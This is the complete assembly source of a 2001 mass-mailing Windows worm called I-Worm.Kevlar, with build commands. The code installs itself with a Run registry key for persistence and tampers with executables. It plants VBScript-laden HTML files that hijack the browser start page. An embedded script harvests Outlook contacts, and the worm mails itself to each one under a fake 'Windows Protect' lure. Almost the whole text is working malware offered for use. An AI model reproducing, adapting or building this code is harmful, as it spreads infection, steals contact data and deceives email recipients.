I-Worm.Kevlar - Source Code

comment #
Name : I-Worm.Kevlar
Author : PetiK
Date : August 7th 2001 - August 16th 2001
Size : 5120 byte

Action : Copy itself to %System%\Kevlar32.exe hidden attribute
            %System%\MScfg32.exe normal attribute
     Add HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Kevlar32 = %System%\Kevlar32.exe

    * Infect %Windir%\C???????.exe file on writing as "PetiK" in the file
    * Infect %Windir%\*.exe It add .htm and create a new file with ActiveX
    * Create C:\__.vbs This filetake all address in th e Address Book at save them in the
      %windir%\AddBook.txt. The worm scan this file to find the address and send a new mail :

        Subject : Windows Protect !!
        Body :  The smallest software to stop your computer to bug in each time.
            I have found this program on WWW.KEVLAR-PROTECT.COM

            Take a look at the attchment.

                    Bye and have a nice day.

        Attachment : MScfg32.exe

    * It creates the %windir%\MSinfo32.txt. I look like this :

        [File Infected]     => Name of C???????.exe file infected
        CLEANMGR.EXE=Infected by W32.Kevlar.PetiK
        CVTAPLOG.EXE=Infected by W32.Kevlar.PetiK

        [EMail saved]       => Some address found in the address book
        first@mail.com=Next victim
        second@mail.com=Next victim


To build the worm:
tasm32 /M /ML Kevlar
tlink32 -Tpe -aa -x Kevlar,,,import32
upx -9 Kevlar.exe

To delete the worm:
@echo off
del %windir%\system\Kevlar32.exe
del %windir%\system\MScfg32.exe
del %windir%\*.exe.htm
del %windir%\MSinfo32.txt
del %windir%\AddBook.txt

#

.586p
.model flat
.code

JUMPS

callx macro a
extrn a:proc
call a
endm

include useful.inc

DEBUT:
F_NAME: push  50
    mov   esi,offset Orig
    push  esi
    push  0
    callx GetModuleFileNameA

    mov   edi,offset CopyName2
    push  edi
    push  50
    push  edi
    callx GetSystemDirectoryA
    add   edi,eax
    mov   eax,'cSM\'
    stosd
    mov   eax,'23gf'
    stosd
    mov   eax,'exe.'
    stosd
    pop   edi
    push  0
    push  edi
    push  esi
    callx CopyFileA

    mov   edi,offset CopyName
    push  edi
    push  50
    push  edi
    callx GetSystemDirectoryA
    add   edi,eax
    mov   al,'\'
    stosb
    mov   eax,'lveK'
    stosd
    mov   eax,'23ra'
    stosd
    mov   eax,'exe.'
    stosd
    pop   edi

    push  esi
    callx GetFileAttributesA
    cmp   eax,1
    je    SUITE

    push  0
    push  edi
    push  esi
    callx CopyFileA

    push  01h
    push  edi
    callx SetFileAttributesA


REG:    pushad
    @pushsz "SHLWAPI.dll"
    callx LoadLibraryA
    test  eax,eax
    jz    FIN
    mov   edi,eax
    @pushsz "SHSetValueA"
    push  edi
    callx GetProcAddress
    test  eax,eax
    jz    FIN
    mov   esi,eax
    push  08h
    push  offset CopyName
    push  01h
    @pushsz "Kevlar32"
    @pushsz "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
    push  80000002h
    call  esi
    push  edi
    callx FreeLibrary
    popad

    call  Nick

    mov   edi,offset nickname
    push  40h
    @pushsz "Hello, my name is :"
    push  edi
    push  0
    callx MessageBoxA

    call  Infect

    jmp   FIN

SUITE:  call  Infect2
VB_F:   pushad
    push  00h
    push  80h
    push  02h
    push  00h
    push  01h
    push  40000000h
    @pushsz "C:\__.vbs"
    callx CreateFileA
    test  eax,eax
    xchg  edi,eax
    push  00h
    push  offset octets
    push  VBSSIZE
    push  offset vbsd
    push  edi
    callx WriteFile
    push  edi
    callx CloseHandle
    popad
    push  1
    @pushsz "wscript C:\__.vbs"
    callx WinExec
    push  10000
    callx Sleep
    @pushsz "C:\__.vbs"
    callx DeleteFileA

SCAN1:  mov   edi,offset addbook
    push  edi
    push  50
    push  edi
    callx GetWindowsDirectoryA
    add   edi,eax
    mov   eax,"ddA\"
    stosd
    mov   eax,"kooB"
    stosd
    mov   eax,"txt."
    stosd
    xor   eax,eax
    stosd
    call  OPEN

FIN:    push  00h
    callx ExitProcess

    Nick    Proc
    mov   edi,offset nickname
    callx GetTickCount
    push  9
    pop   ecx
    xor   edx,edx
    div   ecx
    inc   edx
    mov   ecx,edx
    name_g:
    push  ecx
    callx GetTickCount
    push  'Z'-'A'
    pop   ecx
    xor   edx,edx
    div   ecx
    xchg  eax,edx
    add   al,'A'
    stosb
    callx GetTickCount
    push  100
    pop   ecx
    xor   edx,edx
    div   ecx
    push  edx
    callx Sleep
    pop   ecx
    loop  name_g
    ret
    Nick    EndP

    Infect  Proc
    pushad
    push  50
    push  offset WinPath
    callx GetWindowsDirectoryA
    push  offset WinPath
    callx SetCurrentDirectoryA
    FFF:
    push  offset Search
    @pushsz "C???????.exe"
    callx FindFirstFileA
    inc   eax
    je    F_INF
    dec   eax
    mov   [exeHdl],eax
    I_FILE:
    mov   verif,0
    xor   eax,eax
    push  eax
    push  eax
    push  03h
    push  eax
    push  eax
    push  80000000h or 40000000h
    push  offset Search.cFileName
    callx CreateFileA
    inc   eax
    jz    FNF
    dec   eax
    xchg  eax,ebx

    xor   eax,eax
    push  eax
    push  eax
    push  eax
    push  04h
    push  eax
    push  ebx
    callx CreateFileMappingA
    test  eax,eax
    jz    CL1
    xchg  eax,ebp

    xor   eax,eax
    push  eax
    push  eax
    push  eax
    push  06h
    push  ebp
    callx MapViewOfFile
    test  eax,eax
    jz    CL2
    xchg  eax,edi

    mov   esi,eax
    cmp   word ptr [esi],"ZM"
    jne   CL2
    cmp   byte ptr [esi+18h],"@"
    jne   CL2
    cmp   word ptr [esi+80h],"EP"
    jne   CL2
    cmp   byte ptr [esi+12h],"P"
    je    CL2
    mov   word ptr [esi+12h],"eP"
    mov   word ptr [esi+14h],"it"
    mov   byte ptr [esi+16h],"K"
    inc   verif
    push  edi
    callx UnmapViewOfFile
    CL2:
    push  ebp
    callx CloseHandle
    CL1:
    push  ebx
    callx CloseHandle

    cmp   verif,1
    jne   FNF
    mov   edi,offset InfoFile
    push  edi
    push  50
    push  edi
    callx GetWindowsDirectoryA
    add   edi,eax
    mov   eax,'iSM\'
    stosd
    mov   eax,'3ofn'
    stosd
    mov   eax,'xt.2'
    stosd
    mov   al,'t'
    stosb
    pop   edi
    mov   esi,edi
    push  esi
    @pushsz "Infected by W32.Kevlar.PetiK"
    push    offset Search.cFileName
    @pushsz "File Infected"
    callx   WritePrivateProfileStringA

    FNF:
    push  offset Search
    push  [exeHdl]
    callx FindNextFileA
    test  eax,eax
    jne   I_FILE
    FC:
    push  [exeHdl]
    callx FindClose
    F_INF:
    popad
    ret
    Infect  EndP

    Infect2 Proc
    pushad
    push  50
    push  offset WinPath
    callx GetWindowsDirectoryA
    push  offset WinPath
    callx SetCurrentDirectoryA
    FFF2:
    push  offset Search
    @pushsz "*.exe"
    callx FindFirstFileA
    inc   eax
    je    F_INF2
    dec   eax
    mov   [exeHdl],eax
    I_FILE2:
    pushad
    mov   edi,offset Search.cFileName
    push  edi
    callx lstrlen
    add   edi,eax
    mov   eax,"mth."
    stosd
    xor   eax,eax
    stosd
    push  00h
    push  80h
    push  02h
    push  00h
    push  01h
    push  40000000h
    push  offset Search.cFileName
    callx CreateFileA
    test  eax,eax
    xchg  ebp,eax
    push  00h
    push  offset octets
    push  HTMSIZE
    push  offset htmd
    push  ebp
    callx WriteFile
    push  ebp
    callx CloseHandle
    popad
    FNF2:
    push  offset Search
    push  [exeHdl]
    callx FindNextFileA
    test  eax,eax
    jne   I_FILE2
    FC2:
    push  [exeHdl]
    callx FindClose
    F_INF2:
    popad
    ret
    Infect2 EndP

OPEN:   pushad
    push  00h
    push  80h
    push  03h
    push  00h
    push  01h
    push  80000000h
    push  offset addbook
    callx CreateFileA
    inc   eax
    je    NO
    dec   eax
    xchg  eax,ebx

    xor   eax,eax
    push  eax
    push  eax
    push  eax
    push  02h
    push  eax
    push  ebx
    callx CreateFileMappingA
    test  eax,eax
    je    F1
    xchg  eax,ebp

    xor   eax,eax
    push  eax
    push  eax
    push  eax
    push  04h
    push  ebp
    callx MapViewOfFile
    test  eax,eax
    je    F2
    xchg  eax,esi

    push  00h
    push  ebx
    callx GetFileSize
    cmp   eax,03h
    jbe   F3                    ; is the file empty ??

    call  SCAN

F3: push  esi
    callx UnmapViewOfFile
F2: push  ebp
    callx CloseHandle
F1: push  ebx
    callx CloseHandle
NO: popad
    ret

    SCAN:
    pushad
    xor   edx,edx
    mov   edi,offset m_addr
    push  edi
    p_c:  lodsb
    cmp   al," "
    je    car_s
    cmp   al,0dh
    je    entr1
    cmp   al,0ah
    je    entr2
    cmp   al,"!"
    je    f_mail
    cmp   al,"@"
    je    not_a
    inc   edx
    not_a:  stosb
        jmp p_c
    car_s:  inc esi
        jmp p_c
    entr1:  xor al,al
        stosb
        pop edi
        test edx,edx
        je  SCAN
        call SEND_MAIL
        jmp SCAN
    entr2:  xor al,al
        stosb
        pop edi
        jmp SCAN
    f_mail: popad
        ret

    SEND_MAIL:
        push  50
        push  offset save_addr
        callx GetWindowsDirectoryA
        @pushsz "\MSinfo32.txt"
        push  offset save_addr
        callx lstrcat
        push  offset save_addr
        @pushsz "Next victim"
        push  offset m_addr
        @pushsz "EMail saved"
        callx   WritePrivateProfileStringA
        xor   eax,eax
        push  eax
        push  eax
        push  offset Message
        push  eax
        push  [MAPIHdl]
        callx MAPISendMail
        ret



.data
; ===== INSTALLATION =====
Orig        db 50 dup (0)
CopyName    db 50 dup (0)
CopyName2   db 50 dup (0)
nickname    db 11 dup (?)

; ===== INFECTION =====
InfoFile    db 50 dup (0)
WinPath     db 50 dup (0)
exeHdl      dd ?
verif       dd ?
octets      dd ?

; ===== MAIL =====
addbook     db 50 dup (0)
save_addr   db 50 dup (0)
m_addr      db 128 dup (?)
MAPIHdl     dd 0
subject     db "Windows Protect !!",00h
body        db "The smallest software to stop your computer to bug in each time.",0dh,0ah
        db "I have found this program on WWW.KEVLAR-PROTECT.COM",0dh,0ah,0dh,0ah
        db "Take a look at the attchment.",0dh,0ah,0dh,0ah
        db 09h,09h,"Bye and have a nice day.",00h
NameFrom    db "Your friend",00h


Message     dd ?
        dd offset subject
        dd offset body
        dd ?
        dd ?
        dd ?
        dd 2
        dd offset MsgFrom
        dd 1
        dd offset MsgTo
        dd 1
        dd offset Attach

MsgFrom     dd ?
        dd ?
        dd NameFrom
        dd ?
        dd ?
        dd ?

MsgTo       dd ?
        dd 1
        dd offset m_addr
        dd offset m_addr
        dd ?
        dd ?

Attach      dd ?
        dd ?
        dd ?
        dd offset CopyName2
        dd ?
        dd ?



htmd:
db '<html><head><title>PetiKVX come back</title></head><body>',0dh,0ah
db '<script language=vbscript>',0dh,0ah
db 'on error resume next',0dh,0ah
db 'set fso=createobject("scripting.filesystemobject")',0dh,0ah
db 'If err.number=429 then',0dh,0ah
db 'document.write "<font face=''verdana'' size=''2'' color=''#FF0000''>'
db 'You need ActiveX enabled to see this file<br><a href=''javascript:location.reload()''>'
db 'Click Here</a> to reload and click Yes</font>"',0dh,0ah
db 'Else',0dh,0ah
db 'Set ws=CreateObject("WScript.Shell")',0dh,0ah
db 'document.write "<font face=''verdana'' size=''3'' color=red>'
db 'This page is generate by a worm<br>But this worm is proteced by Kevlar<br></font>"',0dh,0ah
db 'document.write "<font face=''verdana'' size=''2'' color=blue><br>'
db 'Worms are not dangerous for your computer but to survive, they must be strong</font>"',0dh,0ah
db 'ws.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.avp.ch"',0dh,0ah
db 'End If',0dh,0ah
db '</script></html>',00h
HTMSIZE = $-htmd

vbsd:
db 'On Error Resume Next',0dh,0ah
db 'Set Kevlar = CreateObject("Outlook.Application")',0dh,0ah
db 'Set L = Kevlar.GetNameSpace("MAPI")',0dh,0ah
db 'Set f=CreateObject("Scripting.FileSystemObject")',0dh,0ah
db 'Set c=f.CreateTextFile(f.GetSpecialFolder(0)&"\AddBook.txt")',0dh,0ah
db 'c.Close',0dh,0ah
db 'For Each M In L.AddressLists',0dh,0ah
db 'If M.AddressEntries.Count <> 0 Then',0dh,0ah
db 'For O = 1 To M.AddressEntries.Count',0dh,0ah
db 'Set P = M.AddressEntries(O)',0dh,0ah
db 'Set c=f.OpenTextFile(f.GetSpecialFolder(0)&"\AddBook.txt",8,true)',0dh,0ah
db 'c.WriteLine P.Address',0dh,0ah
db 'c.Close',0dh,0ah
db 'Next',0dh,0ah
db 'End If',0dh,0ah
db 'Next',0dh,0ah
db 'Set c=f.OpenTextFile(f.GetSpecialFolder(0)&"\AddBook.txt",8,true)',0dh,0ah
db 'c.WriteLine "!"',0dh,0ah
db 'c.Close',0dh,0ah
VBSSIZE = $-vbsd

signature   db "I-Worm.Kevlar coded by PetiK (c)2001",00h


MAX_PATH        equ 260
FILETIME        struct
dwLowDateTime       dd ?
dwHighDateTime      dd ?
FILETIME        ends
WIN32_FIND_DATA     struct
dwFileAttributes    dd ?
ftCreationTime      FILETIME ?
ftLastAccessTime    FILETIME ?
ftLastWriteTime     FILETIME ?
nFileSizeHigh       dd ?
nFileSizeLow        dd ?
dwReserved0     dd ?
dwReserved1     dd ?
cFileName       dd MAX_PATH (?)
cAlternateFileName  db 13 dup (?)
            db 3 dup (?)
WIN32_FIND_DATA     ends

Search      WIN32_FIND_DATA <>


end DEBUT
end